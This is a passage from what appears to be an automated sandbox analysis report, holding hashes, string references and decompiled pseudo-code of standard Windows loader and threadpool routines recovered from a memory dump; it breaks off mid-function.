0x34c8a2a3
0x34c8a2a5
0x00000000
0x00000000
0x34c8a2aa
0x34c8a2aa
0x34c8a2ad
0x34c8a2b2
0x00000000
0x34c8a2b2
0x34c8a284
0x34c8a284
0x34c8a24a
0x34c8a238
0x34c8a238
0x00000000

Strings

RtlpResUltimateFallbackInfo Exit, xrefs: 34C8A229
RtlpResUltimateFallbackInfo Enter, xrefs: 34C8A21B

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: RtlpResUltimateFallbackInfo Enter$RtlpResUltimateFallbackInfo Exit
API String ID: 0-2876891731
Opcode ID: f12717f68a1c6bd3881af2eceb5018b93061c5aa49bf47778f89c8257e8d6b3f
Instruction ID: faea4d3f2cd1c31edd69702871df10595f3ef9df8e396a6add3aeed365c745bc
Opcode Fuzzy Hash: f12717f68a1c6bd3881af2eceb5018b93061c5aa49bf47778f89c8257e8d6b3f
Instruction Fuzzy Hash: 7D41AD74700744EFEB15CF5AD840B6A77BAEF45754F1480A9E918DB2A1E736D940CB10

Uniqueness

Uniqueness Score: -1.00%

Function 34D1314A Relevance: 2.6, Strings: 2, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E34D1314A(void* __ecx, signed int __edx) {
				signed int _v8;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v36;
				char _v44;
				char* _v48;
				short _v50;
				char _v52;
				char* _v56;
				short _v58;
				char _v60;
				intOrPtr* _v64;
				void* __ebx;
				void* __edi;
				void* __esi;
				short _t29;
				short _t30;
				void* _t31;
				signed char* _t32;
				void* _t42;
				signed char* _t46;
				signed char* _t53;
				void* _t54;
				short _t57;
				intOrPtr* _t61;
				void* _t65;
				void* _t67;
				signed char* _t69;
				void* _t70;
				signed int _t72;

				_t63 = __edx;
				_t74 = (_t72 & 0xfffffff8) - 0x3c;
				_v8 =  *0x34d7b370 ^ (_t72 & 0xfffffff8) - 0x0000003c;
				_t65 = __ecx;
				_v64 = __edx;
				_t57 = 0x2e;
				_push("true");
				_pop(_t29);
				_push("true");
				_v58 = _t29;
				_pop(_t30);
				_v60 = _t57;
				_v56 = L"LdrResGetRCConfig Enter";
				_v52 = _t30;
				_v50 = _t57;
				_v48 = L"LdrResGetRCConfig Exit";
				_t31 = E34C93C40();
				_t53 = 0x7ffe0385;
				if(_t31 == 0) {
					_t32 = 0x7ffe0385;
				} else {
					_t32 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
				}
				_t69 = 0x7ffe0384;
				if(( *_t32 & 0x00000001) != 0) {
					if(E34C93C40() == 0) {
						_t46 = 0x7ffe0384;
					} else {
						_t46 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					_t63 =  *_t46 & 0x000000ff;
					E34D0FC01( &_v60,  *_t46 & 0x000000ff);
				}
				if(_v64 == 0 || _t65 == 0 || _t65 == 0xffffffff) {
					_t66 = 0xc000000d;
					goto L14;
				} else {
					_push(5);
					_push("true");
					_push( &_v36);
					_push( &_v44);
					_push(_t65);
					_t42 = E34CC2AA0();
					_t66 = _t42;
					if(_t42 < 0) {
						L20:
						_pop(_t67);
						_pop(_t70);
						_pop(_t54);
						return L34CC4B50(_t66, _t54, _v8 ^ _t74, _t63, _t67, _t70);
					}
					_t61 = _v64;
					 *_t61 = _v28;
					 *((intOrPtr*)(_t61 + 4)) = _v24;
					L14:
					if(E34C93C40() != 0) {
						_t53 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t53 & 0x00000001) != 0) {
						if(E34C93C40() != 0) {
							_t69 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						}
						_t63 =  *_t69 & 0x000000ff;
						E34D0FC01( &_v52,  *_t69 & 0x000000ff);
					}
					goto L20;
				}
			}

0x34d1314a
0x34d13152
0x34d1315c
0x34d13165
0x34d13167
0x34d1316b
0x34d1316c
0x34d1316e
0x34d1316f
0x34d13171
0x34d13176
0x34d13177
0x34d1317c
0x34d13184
0x34d13189
0x34d1318e
0x34d13196
0x34d1319b
0x34d131a2
0x34d131b4
0x34d131a4
0x34d131ad
0x34d131ad
0x34d131b9
0x34d131be
0x34d131c7
0x34d131d9
0x34d131c9
0x34d131d2
0x34d131d2
0x34d131db
0x34d131e2
0x34d131e2
0x34d131ec
0x34d13224
0x00000000
0x34d131f7
0x34d131f7
0x34d131f9
0x34d131ff
0x34d13204
0x34d13205
0x34d13206
0x34d1320b
0x34d1320f
0x34d1326a
0x34d13270
0x34d13271
0x34d13272
0x34d1327d
0x34d1327d
0x34d13211
0x34d13219
0x34d1321f
0x34d13229
0x34d13230
0x34d1323b
0x34d1323b
0x34d13244
0x34d1324d
0x34d13258
0x34d13258
0x34d1325e
0x34d13265
0x34d13265
0x00000000
0x34d13244

Strings

LdrResGetRCConfig Enter, xrefs: 34D1317C
LdrResGetRCConfig Exit, xrefs: 34D1318E

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit
API String ID: 0-118005554
Opcode ID: 6921856d90e2bb283a3f4597c2ab417cd95d0c8b2c6a08c7d32800ce86f9384a
Instruction ID: 83fccaac7ed903baf6648f2b6689fcd4ee5d914bea1356e006ff912f5b07e20d
Opcode Fuzzy Hash: 6921856d90e2bb283a3f4597c2ab417cd95d0c8b2c6a08c7d32800ce86f9384a
Instruction Fuzzy Hash: 1931DA75208B409FE301DB69E884B2AB7E9FF89750F44086DFC548B790EB30D905CB92

Uniqueness

Uniqueness Score: -1.00%

Function 34CBA4F0 Relevance: 2.5, Strings: 2, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E34CBA4F0() {
				char _v1052;
				signed int _v1056;
				void* __ebp;
				intOrPtr _t12;
				void* _t15;
				intOrPtr _t19;
				intOrPtr* _t20;
				void* _t22;
				void* _t23;
				void* _t24;
				void* _t25;
				void* _t29;

				_push(L"Cleanup Group");
				_push(L"Threadpool!");
				_push(0);
				_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
				_t12 = E34CBA580(_t22, _t23, _t24, _t25, _t29);
				_v1056 = _v1056 & 0x00000000;
				 *0x34d76644 = _t12;
				_push( &_v1056);
				_push(0x408);
				_push( &_v1052);
				_push(0x37);
				_t15 = E34CC2D10();
				if(_t15 >= 0) {
					if(_v1056 < 4) {
						return 0xc00000e5;
					}
					 *0x34d76640 = _v1052 + 1;
					_t19 =  *[fs:0x30];
					 *(_t19 + 0x250) =  *(_t19 + 0x250) & 0x00000000;
					_t20 = _t19 + 0x254;
					 *((intOrPtr*)(_t20 + 4)) = _t20;
					 *_t20 = _t20;
					return 0;
				}
				return _t15;
			}

0x34cba504
0x34cba509
0x34cba50e
0x34cba510
0x34cba513
0x34cba518
0x34cba51d
0x34cba526
0x34cba527
0x34cba530
0x34cba531
0x34cba533
0x34cba53a
0x34cba541
0x00000000
0x34cba56a
0x34cba548
0x34cba54d
0x34cba553
0x34cba55a
0x34cba55f
0x34cba562
0x00000000
0x34cba564
0x34cba569

Strings

Cleanup Group, xrefs: 34CBA504
Threadpool!, xrefs: 34CBA509

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: InitializeThunk
String ID: Cleanup Group$Threadpool!
API String ID: 2994545307-4008356553
Opcode ID: bf06e711f06b677019862e3fc1e19acbc9dc03e93dec82cba4ab9843975dd854
Instruction ID: 6293e5d6dcd54ca81b457dd3242be5eb7bf37b0221fba36d3363c91ae5d6ae2a
Opcode Fuzzy Hash: bf06e711f06b677019862e3fc1e19acbc9dc03e93dec82cba4ab9843975dd854
Instruction Fuzzy Hash: 5801F4B2510B00EFE311DF18CD45B167BE9EB40725F0089B9F598C75A0E735DA09CB49

Uniqueness

Uniqueness Score: -1.00%

Function 34C8C6E0 Relevance: 2.2, Strings: 1, Instructions: 960
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E34C8C6E0(signed int __ecx, signed int __edx, signed int _a4, signed int _a8, signed int* _a12) {
				signed int _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				intOrPtr _v56;
				char _v60;
				signed short _v64;
				char _v65;
				signed int _v72;
				signed int _v76;
				signed char _v80;
				signed int _v84;
				signed int _v88;
				intOrPtr* _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int* _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				void* _v140;
				signed char _v144;
				signed int _v148;
				signed int _v152;
				char _v153;
				signed char _v160;
				signed int _v164;
				void* _v168;
				signed int _v172;
				signed short _v176;
				signed short _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				void* _v196;
				signed int _v200;
				char _v204;
				intOrPtr _v208;
				signed int _v212;
				char _v220;
				char _v228;
				signed int __ebx;
				signed int __edi;
				signed int __esi;
				void* __ebp;
				signed int _t428;
				signed int _t429;
				signed int _t435;
				signed char _t437;
				signed int _t443;
				signed int _t446;
				signed char _t448;
				signed int _t461;
				signed int _t463;
				signed int _t465;
				signed short _t475;
				signed int _t478;
				signed int* _t480;
				signed int _t481;
				signed short _t482;
				signed int _t486;
				signed char _t488;
				signed int _t501;
				signed int _t503;
				signed int _t509;
				signed int _t510;
				signed int _t520;
				signed int _t536;
				signed int _t537;
				signed int _t539;
				signed int _t540;
				signed int _t543;
				signed int _t544;
				signed int _t546;
				signed int _t551;
				signed int _t555;
				void* _t556;
				signed int _t559;
				signed int _t565;
				signed char _t566;
				signed int _t567;
				signed int _t568;
				signed int _t569;
				signed int _t573;
				signed short _t576;
				char _t581;
				signed int _t583;
				signed int _t587;
				signed int _t588;
				signed int _t592;
				signed int _t597;
				intOrPtr _t598;
				signed int _t599;
				signed int _t601;
				signed int* _t602;
				signed int _t607;
				signed int _t615;
				signed int _t617;
				signed int _t620;
				signed int _t624;
				void* _t625;
				signed int _t626;
				signed int _t627;
				intOrPtr* _t630;
				intOrPtr _t633;
				signed int _t638;
				void* _t639;
				signed char _t640;
				intOrPtr* _t642;
				signed int _t645;
				signed int _t647;
				void* _t648;

				_t612 = __edx;
				_push(0xfffffffe);
				_push(0x34d5c008);
				_push(E34CCAD20);
				_push( *[fs:0x0]);
				_t428 =  *0x34d7b370;
				_v12 = _v12 ^ _t428;
				_t429 = _t428 ^ _t647;
				_v32 = _t429;
				_push(_t429);
				 *[fs:0x0] =  &_v20;
				_v28 = _t648 - 0xd0;
				_v100 = __edx;
				_t624 = __ecx;
				_v96 = __ecx;
				_v152 = __edx;
				_v108 = _a12;
				_v92 = __edx;
				_v65 = 0;
				_v172 = 0;
				_v164 = 0;
				_t638 = _a4;
				_t555 = _a8;
				if(_t638 >= 3 || (_t555 & 0x00000002) != 0) {
					if(_t638 > 4) {
						goto L232;
					}
					_t435 = _t555 & 0x00000041;
					if(_t435 == 0 || _t638 == 4) {
						if(_t638 != 4) {
							L9:
							_t565 = _t638;
							_v88 = _t638;
							L10:
							_v124 = _t565;
							_v8 = 0;
							_t437 =  !_t555;
							_v144 = _t437;
							if((_t437 & 0x00000010) == 0) {
								L25:
								_v80 = 1;
								_t566 = _v96;
								_t640 = _t566;
								_v160 = _t566;
								_v120 = 0;
								_t626 = 0;
								_v128 = 0;
								if((_t566 & 0x00000003) != 0) {
									asm("sbb al, al");
									_v80 =  !( ~(_t566 & 0x00000001)) & 0x00000001;
									_v160 = _t640;
								}
								_t612 = E34C8E580(1, _t640, 0, 0,  &_v120);
								_t567 = _v120;
								if(_t567 == 0) {
									L76:
									if(_t612 >= 0) {
										L79:
										_v188 = _t626;
										if(_t626 != 0) {
											_push(1);
											_push("true");
											_push( &_v172);
											_push(_v96);
											_t432 = L34C8AB70(_t555, _t626, _t640, __eflags);
											_v72 = _t432;
											__eflags = _t432;
											if(_t432 < 0) {
												L68:
												_v8 = 0xfffffffe;
												goto L233;
											}
											_v148 = _t626;
											_v76 = 0xeeee;
											_v116 = 0;
											_t568 = 0;
											_v136 = 0;
											_v132 = 0;
											_v64 = 0;
											__eflags = 0;
											_v84 = 0;
											_v168 = 0;
											while(1) {
												__eflags = _t626;
												if(_t626 == 0) {
													goto L90;
												}
												_t481 = _v124;
												_t617 = _t481 - 1;
												_v124 = _t617;
												__eflags = _t481;
												if(_t481 == 0) {
													goto L90;
												}
												__eflags = _t617;
												_t612 = _v88;
												if(_t617 == 0) {
													__eflags = _t612 - 3;
													if(_t612 == 3) {
														_v132 = _t626;
													}
												}
												__eflags = _v132;
												if(_v132 == 0) {
													L169:
													_t576 =  *(_t626 + 0xe) & 0x0000ffff;
													_v176 = _t576;
													_v180 =  *(_t626 + 0xc) & 0x0000ffff;
													_t612 = _t576 & 0x0000ffff;
													_t432 = E34C794A3( *(_t626 + 0xc) & 0xffff, _t576 & 0x0000ffff,  &_v204);
													_v72 = _t432;
													__eflags = _t432;
													if(_t432 < 0) {
														goto L68;
													}
													_t612 = 8;
													_t432 = E34CD6D10(_v204, 8,  &_v220);
													_v72 = _t432;
													__eflags = _t432;
													if(_t432 < 0) {
														goto L68;
													}
													_t612 = _t626 + 0x10;
													_v212 = _t612;
													_t629 = _v96;
													_t581 = (_v96 & 0xfffffffc) + _v172;
													_v140 = _t581;
													__eflags = _v220 + _t612 - _t581;
													if(_v220 + _t612 <= _t581) {
														_t475 = _v180;
														_v144 = _t475;
														_t583 =  *_v100;
														__eflags = _t583 & 0xffff0000;
														if((_t583 & 0xffff0000) == 0) {
															_t612 = _t612 + (_t475 & 0x0000ffff) * 8;
															_v212 = _t612;
															_t475 = _v176;
															_v144 = _t475;
														}
														__eflags = _t475;
														if(_t475 != 0) {
															__eflags = _v132;
															if(_v132 == 0) {
																L206:
																_t612 = _v172;
																_t478 = E34CD6E26(_t629, _v172, _v144, _v188, _v172, _t583,  &_v148,  &_v136);
																__eflags = _t478;
																if(_t478 == 0) {
																	goto L172;
																}
																_t480 =  &(_v100[1]);
																_v100 = _t480;
																_v152 = _t480;
																_t626 = _v148;
																_t568 = _v136;
																continue;
															}
															__eflags = _t555 & 0x00000020;
															if((_t555 & 0x00000020) == 0) {
																goto L206;
															}
															_t626 = 0;
															_v148 = 0;
															_v76 =  *_t612;
															_t568 =  *((intOrPtr*)(_t612 + 4)) + _v188;
															__eflags = _t568 - _v140;
															if(_t568 > _v140) {
																goto L172;
															}
															_v136 = _t568;
															goto L90;
														} else {
															_t587 = _v88;
															_t486 = _t587 - _v124 - 1;
															__eflags = _t486;
															if(_t486 == 0) {
																_t645 = 0xc000008a;
																L183:
																_v72 = _t645;
																_t630 = _v92;
																__eflags = _t555 & 0x02040000;
																if((_t555 & 0x02040000) != 0) {
																	L191:
																	__eflags = _t645 - 0xc000008a;
																	if(_t645 == 0xc000008a) {
																		L193:
																		_t488 =  !_t555;
																		__eflags = _t488 & 0x00080000;
																		if((_t488 & 0x00080000) != 0) {
																			__eflags = _t488 & 0x00020000;
																			if((_t488 & 0x00020000) != 0) {
																				__eflags = _t488 & 0x00000010;
																				if((_t488 & 0x00000010) != 0) {
																					__eflags = _t587 - 3;
																					if(_t587 == 3) {
																						_v48 =  *_t630;
																						_v44 =  *((intOrPtr*)(_t630 + 4));
																						_v40 =  *((intOrPtr*)(_t630 + 8));
																						_t588 = _a4;
																						__eflags = _t588 - 4;
																						if(_t588 == 4) {
																							_v36 =  *((intOrPtr*)(_t630 + 0xc));
																						}
																						_t612 =  &_v48;
																						_t558 = _v96;
																						_t645 = L34C8B9C0(_v96,  &_v48, _t588, _t555, _v108);
																						_v72 = _t645;
																						__eflags = _t645;
																						if(_t645 >= 0) {
																							_t612 = 0;
																							__eflags = 0;
																							E34C80C12(_t558, 0,  &_v48, _a4);
																						}
																					}
																				}
																			}
																		}
																		L201:
																		_v8 = 0xfffffffe;
																		_t432 = _t645;
																		goto L233;
																	}
																	__eflags = _t645 - 0xc000008b;
																	if(_t645 != 0xc000008b) {
																		goto L201;
																	}
																	goto L193;
																}
																__eflags = _t587 - 3;
																if(_t587 != 3) {
																	goto L191;
																}
																_v48 =  *_t630;
																_v44 =  *((intOrPtr*)(_t630 + 4));
																_v40 =  *((intOrPtr*)(_t630 + 8));
																_t592 = _a4;
																__eflags = _t592 - 4;
																if(_t592 == 4) {
																	_v36 =  *((intOrPtr*)(_t630 + 0xc));
																}
																_t612 =  &_v48;
																_t501 = L34C8B9C0(_v96,  &_v48, _t592, _t555 | 0x01000000, _v108);
																_t587 = _v88;
																__eflags = _t501 - 0xc00b0001;
																if(_t501 != 0xc00b0001) {
																	__eflags = _t501 - 0xc00b0006;
																	if(_t501 == 0xc00b0006) {
																		goto L191;
																	}
																	_t645 = _t501;
																	L190:
																	_v72 = _t645;
																}
																goto L191;
															}
															_t503 = _t486 - 1;
															__eflags = _t503;
															if(_t503 == 0) {
																_t645 = 0xc000008b;
																goto L183;
															}
															__eflags = _t503 == 1;
															if(_t503 == 1) {
																_v72 = 0xc0000204;
																_v8 = 0xfffffffe;
																_t432 = 0xc0000204;
																goto L233;
															}
															_t645 = 0xc000000d;
															_t630 = _v92;
															goto L190;
														}
													}
													L172:
													_v8 = 0xfffffffe;
													_t432 = 0xc000007b;
													goto L233;
												} else {
													_v64 = 0;
													_t482 =  *((intOrPtr*)(_v92 + 8));
													_v84 = _t482;
													__eflags = 0x000003ff & _t482;
													_v65 = (0x000003ff & _t482) == 0;
													L107:
													_t465 = _v116;
													_v116 = _v116 + 1;
													__eflags = _t465 - 0xc;
													if(_t465 > 0xc) {
														L129:
														_v8 = 0xfffffffe;
														_t432 = 0xc0000204;
														goto L233;
													}
													switch( *((intOrPtr*)(_t465 * 4 +  &M34C8D420))) {
														case 0:
															__eflags = 0 - _v84;
															if(0 != _v84) {
																__eflags = _t555 & 0x00080000;
																if((_t555 & 0x00080000) == 0) {
																	goto L139;
																}
																goto L112;
															}
															goto L110;
														case 1:
															__eax = __ebx;
															__eax =  !__ebx;
															__eflags = __eax & 0x00080000;
															if((__eax & 0x00080000) == 0) {
																goto L139;
															}
															__eflags = __eax & 0x00020000;
															if((__eax & 0x00020000) == 0) {
																goto L139;
															}
															__eflags = __al & 0x00000010;
															if((__al & 0x00000010) == 0) {
																goto L139;
															}
															__eax =  *__ecx;
															_v48 =  *__ecx;
															__eflags = __edx - 2;
															if(__edx < 2) {
																__eax = 0;
																__eflags = 0;
															} else {
																__eax =  *(__ecx + 4);
															}
															_v44 = __eax;
															__eflags = __edx - 3;
															if(__edx != 3) {
																__eax = 0;
																__eflags = 0;
															} else {
																__eax =  *(__ecx + 8);
															}
															_v40 = __eax;
															__edi = _a4;
															__eflags = __edi - 4;
															if(__edi == 4) {
																__eax =  *(__ecx + 0xc);
																_v36 =  *(__ecx + 0xc);
															}
															__edx =  &_v48;
															__ecx = _v96;
															__eax = L34C8B9C0(__ecx, __edx, __edi, __ebx, _v108);
															__esi = __eax;
															_v72 = __esi;
															__eflags = __esi;
															if(__esi < 0) {
																goto L139;
															} else {
																__eax =  &_v48;
																__edx = 0;
																__ecx = _v96;
																__eax = E34C80C12(__ecx, 0,  &_v48, __edi);
																_v8 = 0xfffffffe;
																__eax = __esi;
																goto L233;
															}
														case 2:
															__eflags = _v65;
															if(_v65 == 0) {
																L112:
																_t643 = _v84;
																_v64 = _t643;
																goto L165;
															}
															__si = _v76;
															_v64 = __si;
															goto L165;
														case 3:
															__eflags = __bl & 0x00000004;
															if((__bl & 0x00000004) == 0) {
																__eflags = _v65;
																if(_v65 == 0) {
																	__edx =  &_v64;
																	__eax = E34C788C8(__ecx, __edx);
																	__eflags = __eax;
																	if(__eax < 0) {
																		L110:
																		_t643 = 0;
																		_v64 = 0;
																		goto L165;
																	}
																	__si = _v64;
																	__eflags = __si;
																	if(__si != 0) {
																		_v116 = _v116 - 1;
																	}
																	goto L165;
																}
																__si = _v76;
																_v64 = __si;
																goto L165;
															}
															goto L129;
														case 4:
															__eflags = _v65;
															if(_v65 == 0) {
																__si = _v84;
																__si = _v84 & __di;
																_v64 = __si;
															} else {
																__si = _v76;
																_v64 = __si;
															}
															goto L165;
														case 5:
															__eflags = _v65;
															if(_v65 == 0) {
																goto L129;
															}
															goto L139;
														case 6:
															__si = _v76;
															_v64 = __si;
															__eflags = __bl & 0x00000020;
															if((__bl & 0x00000020) != 0) {
																goto L165;
															}
															__eax = 0;
															_v64 = __ax;
															__eax = E34C8A630();
															__eflags = __al;
															if(__al == 0) {
																__eax = 0;
																_v64 = __ax;
																__si = _v76;
																_v64 = __si;
																goto L165;
															}
															 *[fs:0x18] =  *( *[fs:0x18] + 0xfc0);
															__eax =  *( *( *[fs:0x18] + 0xfc0) + 4) & 0x0000ffff;
															__eflags = _v164 - __eax;
															if(_v164 >= __eax) {
																__eax = 0;
																__eflags = 0;
																_v64 = __ax;
																L146:
																__ebx = _a8;
																__si = _v76;
																_v64 = __si;
																goto L165;
															}
															__edx =  *[fs:0x18];
															 &_v153 =  &_v64;
															__edi = _v164;
															__edx =  *( *[fs:0x18] + 0xfc0);
															__eax = E34C8A750(__edx, __edi,  &_v64,  &_v153);
															__si = _v64;
															__eflags = __si;
															if(__si == 0) {
																goto L146;
															}
															__edi = __edi + 1;
															_v164 = __edi;
															_v116 = _v116 - 1;
															__ebx = _a8;
															goto L165;
														case 7:
															__eax = __ebx;
															__eax =  !__ebx;
															__eflags = __eax & 0x00080000;
															if((__eax & 0x00080000) == 0) {
																L139:
																_t643 = _v76;
																_v64 = _t643;
																goto L165;
															}
															__ecx = _v96;
															__eax = E34C88858(__ecx, 0, 1);
															__eflags = __eax;
															if(__eax == 0) {
																goto L139;
															}
															__eflags =  *__eax - 0xfecdfecd;
															if( *__eax != 0xfecdfecd) {
																goto L139;
															}
															__ecx =  *(__eax + 0x7c);
															__eflags = __ecx;
															if(__ecx == 0) {
																goto L139;
															}
															 &_v228 = E34CC5050(__ecx,  &_v228,  &_v228);
															 &_v196 =  &_v228;
															__eax = E34CA56E0( &_v228,  &_v196);
															__eflags = __al;
															if(__al == 0) {
																goto L139;
															}
															__si = _v196;
															_v64 = __si;
															goto L165;
														case 8:
															__si = _v76;
															_v64 = __si;
															__eax = __ebx;
															__eax =  !__ebx;
															__eflags = __eax & 0x00080000;
															if((__eax & 0x00080000) != 0) {
																goto L164;
															}
															__eflags =  *[fs:0x18];
															if( *[fs:0x18] == 0) {
																__ebx = _a8;
																__si = _v64;
															} else {
																__esi =  *[fs:0x18];
																__si =  *((intOrPtr*)(__esi + 0xc4));
																_v64 = __si;
																__ebx = _a8;
															}
															goto L165;
														case 9:
															__si = _v76;
															_v64 = __si;
															__eax =  &_v168;
															_push( &_v168);
															_push(1);
															__eax = E34CC2AE0();
															_v72 = __eax;
															__eflags = __eax;
															if(__eax >= 0) {
																__si = _v168;
																_v64 = __si;
															}
															goto L165;
														case 0xa:
															__si = _v76;
															_v64 = __si;
															__eax =  &_v200;
															_push( &_v200);
															_push(0);
															__eax = E34CC2AE0();
															_v72 = __eax;
															__eflags = __eax;
															if(__eax >= 0) {
																__eax = _v200;
																__eflags = __eax - _v168;
																if(__eax != _v168) {
																	__si = __ax;
																	_v64 = __si;
																}
															}
															goto L165;
														case 0xb:
															__esi = 0x409;
															_v64 = __si;
															goto L165;
														case 0xc:
															L164:
															__ebx = __ebx | 0x00000020;
															__eflags = __ebx;
															_a8 = __ebx;
															L165:
															_t468 =  !_t555;
															__eflags = _t468 & 0x00000020;
															if((_t468 & 0x00000020) == 0) {
																L168:
																_v76 = _t643 & 0x0000ffff;
																_t470 =  &_v76;
																_v100 = _t470;
																_v152 = _t470;
																_t626 = _v132;
																_v148 = _t626;
																goto L169;
															}
															__eflags = (_t643 & 0x0000ffff) - _v76;
															if((_t643 & 0x0000ffff) != _v76) {
																goto L168;
															}
															_t612 = _v88;
															L106:
															goto L107;
													}
												}
												L90:
												_t443 = _t555 & 0x00000002;
												__eflags = _t568;
												if(_t568 == 0) {
													L97:
													__eflags = _t626;
													if(_t626 == 0) {
														L100:
														_t612 = _v88;
														_t446 = _t612 - _v124 - 1;
														__eflags = _t446;
														if(_t446 == 0) {
															_t627 = 0xc000008a;
															L210:
															_v72 = _t627;
															L211:
															__eflags = _t555 & 0x02040000;
															if((_t555 & 0x02040000) != 0) {
																L220:
																_t642 = _v92;
																L221:
																__eflags = _t627 - 0xc000008a;
																if(_t627 == 0xc000008a) {
																	L223:
																	_t448 =  !_t555;
																	__eflags = _t448 & 0x00080000;
																	if((_t448 & 0x00080000) == 0) {
																		L231:
																		_v8 = 0xfffffffe;
																		_t432 = _t627;
																		goto L233;
																	}
																	__eflags = _t448 & 0x00020000;
																	if((_t448 & 0x00020000) == 0) {
																		goto L231;
																	}
																	__eflags = _t448 & 0x00000010;
																	if((_t448 & 0x00000010) == 0) {
																		goto L231;
																	}
																	__eflags = _v88 - 3;
																	if(_v88 != 3) {
																		goto L231;
																	}
																	_v48 =  *_t642;
																	_v44 =  *((intOrPtr*)(_t642 + 4));
																	_v40 =  *((intOrPtr*)(_t642 + 8));
																	_t569 = _a4;
																	__eflags = _t569 - 4;
																	if(_t569 == 4) {
																		_v36 =  *((intOrPtr*)(_t642 + 0xc));
																	}
																	_t612 =  &_v48;
																	_t557 = _v96;
																	_t627 = L34C8B9C0(_v96,  &_v48, _t569, _t555, _v108);
																	_v72 = _t627;
																	__eflags = _t627;
																	if(_t627 < 0) {
																		goto L231;
																	} else {
																		_t612 = 0;
																		E34C80C12(_t557, 0,  &_v48, _a4);
																		_v8 = 0xfffffffe;
																		_t432 = _t627;
																		goto L233;
																	}
																}
																__eflags = _t627 - 0xc000008b;
																if(_t627 != 0xc000008b) {
																	goto L231;
																}
																goto L223;
															}
															__eflags = _t627 - 0xc000008a;
															if(_t627 == 0xc000008a) {
																L214:
																_t642 = _v92;
																__eflags = _t612 - 3;
																if(_t612 == 3) {
																	_v48 =  *_t642;
																	_v44 =  *((intOrPtr*)(_t642 + 4));
																	_v40 =  *((intOrPtr*)(_t642 + 8));
																	_t573 = _a4;
																	__eflags = _t573 - 4;
																	if(_t573 == 4) {
																		_v36 =  *((intOrPtr*)(_t642 + 0xc));
																	}
																	_t612 =  &_v48;
																	_t461 = L34C8B9C0(_v96,  &_v48, _t573, _t555 | 0x01000000, _v108);
																	__eflags = _t461 - 0xc00b0001;
																	if(_t461 != 0xc00b0001) {
																		__eflags = _t461 - 0xc00b0006;
																		if(_t461 != 0xc00b0006) {
																			_t627 = _t461;
																			_v72 = _t627;
																		}
																	}
																}
																goto L221;
															}
															__eflags = _t627 - 0xc000008b;
															if(_t627 != 0xc000008b) {
																goto L220;
															}
															goto L214;
														}
														_t463 = _t446 - 1;
														__eflags = _t463;
														if(_t463 == 0) {
															_t627 = 0xc000008b;
															goto L210;
														}
														__eflags = _t463 == 1;
														if(_t463 == 1) {
															_t627 = 0xc0000204;
															_v72 = 0xc0000204;
															__eflags = _v132;
															if(_v132 == 0) {
																goto L211;
															}
															_v136 = 0;
															goto L106;
														}
														_t627 = 0xc000000d;
														goto L210;
													}
													__eflags = _t443;
													if(_t443 == 0) {
														goto L100;
													}
													 *_v108 = _t626;
													_t627 = 0;
													_t612 = _v88;
													goto L210;
												}
												__eflags = _t443;
												if(_t443 != 0) {
													goto L97;
												}
												 *_v108 = _t568;
												_t509 =  *[fs:0x18];
												__eflags =  *(_t509 + 0xfe0);
												if( *(_t509 + 0xfe0) == 0) {
													_v100 =  *[fs:0x18];
													_v100[0x3f8] = E34C95D90(_t568,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, "true");
												}
												_t510 =  *[fs:0x18];
												__eflags =  *(_t510 + 0xfe0);
												if( *(_t510 + 0xfe0) != 0) {
													_t615 = _v96;
													 *( *( *[fs:0x18] + 0xfe0)) = _t615;
													( *( *[fs:0x18] + 0xfe0))[1] = _v136;
													( *( *[fs:0x18] + 0xfe0))[2] = _t615;
												}
												_t627 = 0;
												_v72 = 0;
												_t555 = _a8;
												_t612 = _v88;
												goto L211;
											}
										}
										_v8 = 0xfffffffe;
										_t432 = 0xc0000089;
										goto L233;
									}
									L77:
									_t626 = 0;
									L78:
									_v128 = _t626;
									goto L79;
								}
								_t520 =  *(_t567 + 0x18) & 0x0000ffff;
								_t612 = 0x10b;
								if(_t520 != 0x10b) {
									_t612 = 0x20b;
									__eflags = _t520 - 0x20b;
									if(__eflags != 0) {
										goto L77;
									}
